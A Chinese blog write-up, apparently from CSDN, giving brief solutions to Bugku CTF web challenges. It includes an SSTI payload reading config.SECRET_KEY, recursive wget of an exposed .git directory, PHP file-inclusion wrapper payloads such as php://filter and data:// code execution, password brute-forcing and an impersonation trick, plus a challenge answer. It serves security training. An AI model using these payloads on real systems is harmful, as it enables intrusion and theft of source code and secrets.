Bugku CTF

一、Simple_SSTI_1

在URL使用get函数,然后提交flag{{}},{{}}括号中包括config.SECRET_KEY

二、头等舱

Bp发送到repeater然后send看返回包

三、Source

Dirsearch 扫目录

wget -r http://114.67.246.176:10491/.git

递归下载该网站目录下的文件及文件夹

git reflog

查看执行的命令日志

git show e0b8e8e

使用git show commit_id 命令查看commit,标黄色的是commit——id

四、社工-伪造

用相同的qq名字和头像跟小妹说ctf即可

五、源代码

将三段变量url解码然后拼接在一起

67d709b2b54aa2aa648cf6e87a7114f1提交后得到flag

六、文件包含

伪协议

?file=php://filter/read=convert.base64-encode/resource=xxx.php

伪协议常用的payload,包括读文件和php代码执行

1.?file=data:text/plain,<?php phpinfo()>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php

七、好像需要密码

Bp爆破5位数 数字

八、备份是个好习惯

1.PHP ini_set用来设置php.ini的值,在函数执行的时候生效

2.strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

3.$_SERVER['REQUEST_URI'] //URL

4.substr — 返回字符串的子串

substr(string $string, int $start, int $length = ?)

把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai":

<?php

echo str_replace("world","Shanghai","Hello world!");

?>

5.parse_str() 函数把查询字符串解析到变量中。

存储变量到一个数组中:

<?php
parse_str("name=Peter&age=43",$myArray);
print_r($myArray);
?>

九、No one knows regex better than me

Zero是flag的base64编码

$end=substr($third,5);

End变量等于从third的第五位开始到最后

\056\160\150\x70为16进制和8进制ascii代码,php可自动识别

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值